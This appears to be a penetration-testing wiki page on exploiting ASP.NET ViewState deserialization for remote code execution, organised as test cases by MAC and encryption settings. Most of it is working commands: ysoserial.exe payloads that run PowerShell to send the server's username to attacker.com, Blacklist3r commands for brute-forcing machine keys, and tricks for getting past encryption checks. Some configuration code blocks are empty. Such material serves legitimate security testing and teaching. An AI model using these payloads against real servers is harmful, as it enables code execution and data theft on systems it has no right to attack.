# Exploiting \_\_VIEWSTATE without knowing the secret
## What is ViewState
**ViewState** is the method that the ASP.NET framework uses by default to p**reserve page and control values between web pages**. When the HTML for the page is rendered, the current state of the page and values that need to be retained during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields.
The following properties or combination of properties apply to ViewState information:
* Base64
* Can be defined using EnableViewStateMac and ViewStateEncryptionMode attribute set to false
* Base64 + MAC \(Message Authentication Code\) Enabled
* Can be defined using EnableViewStateMac attribute set to true
* Base64 + Encrypted
* Can be defined using viewStateEncryptionMode attribute set to true
## **Test Cases**
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
It is also possible to disable the ViewStateMAC completely by setting the `AspNetEnforceViewStateMac` registry key to zero in:
```text
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**Identifying ViewState Attributes**
You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BrupSuite:
If Mac is not used to protect the parameter you can exploit it using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net).
```text
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
Developers can **remove ViewState** from becoming part of an HTTP Request \(the user won't receive this cookie\).
One may assume that if **ViewState** is **not present**, their implementation is **secure** from any potential vulnerabilities arising with ViewState deserialization.
However, that is not the case. If we **add ViewState parameter** to the request body and send our serialized payload created using ysoserial, we will still be able to achieve **code execution** as shown in **Case 1**.
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
In order to **enable ViewState MAC** for a **specific page** we need to make following changes on a specific aspx file:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
We can also do it for **overall** application by setting it on the **web.config** file as shown below:
```markup
```
As the parameter is MAC protected this time to successfully execute the attack we first need the key used. In this case, BurpSuite will let us know that the parameter is MAC protected:
You can try to use [**Blacklist3r\(AspDotNetWrapper.exe\)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key used.
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
If you are lucky and the key is found,you can proceed with the attack using [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
```text
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
In cases where `_VIEWSTATEGENERATOR` parameter **isn't sent** by the server you **don't** need to **provide** the `--generator` parameter **but these ones**:
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
In this case Burp doesn't find if the parameter is protected with MAC because it doesn't recognise the values. Then, the value is probably encrypted and you will **need the Machine Key to encrypt your payload** to exploit the vulnerability.
**In this case the** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module is under development...**
**Prior to .NET 4.5**, ASP.NET can **accept** an **unencrypted** _`__VIEWSTATE`_parameter from the users **even** if **`ViewStateEncryptionMode`** has been set to _**Always**_. ASP.NET **only checks** the **presence** of the **`__VIEWSTATEENCRYPTED`** parameter in the request. **If one removes this parameter, and sends the unencrypted payload, it will still be processed.**
Threfore, if the Machinekey is known \(e.g. via a directory traversal issue\), [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) command used in the **Case 2**, can be used to perform RCE using ViewState deserialization vulnerability.
* Remove `__VIEWSTATEENCRYPTED` parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail as shown in Figure:
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.
```markup
```
Alternatively, this can be done by specifying the below option inside the `machineKey` paramter of web.config file.
```bash
compatibilityMode="Framework45"
```
As in the previous case Burp doesn't identify if the request is MAC protected because the **value is encrypted.** Then, to send a **valid payload the attacker need the key**.
You can try to use [**Blacklist3r\(AspDotNetWrapper.exe\)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)to find the key being used:
```text
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
For a more detailed description for IISDirPath and TargetPagePath [refer here](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Once a valid Machine key is identified, **the next step is to generate a serialized payload using** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```text
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
If you have the value of `__VIEWSTATEGENERATOR` you can try to **use** the `--generator` parameter with that value and **omit** the parameters `--path` and `--apppath`
If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### Test Case 6 – ViewStateUserKeys is being used
The **ViewStateUserKey** property can be used to **defend** against a **CSRF attack**. If such a key has been defined in the application and we try to generate the **ViewState** payload with the methods discussed till now, the **payload won’t be processed by the application**.
You need to use one more parameter in order to create correctly the payload:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Result of a Successful Exploitation
For all the test cases, if the ViewState YSoSerial.Net payload works **successfully** then the server responds with “**500 Internal server error**” having response content “**The state information is invalid for this page and might be corrupted**” and we get the OOB request as shown in Figures below:
out of band request with the current username
## References
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)\*\*\*\*
* \*\*\*\*[**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) ****
* \*\*\*\*[**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)\*\*\*\*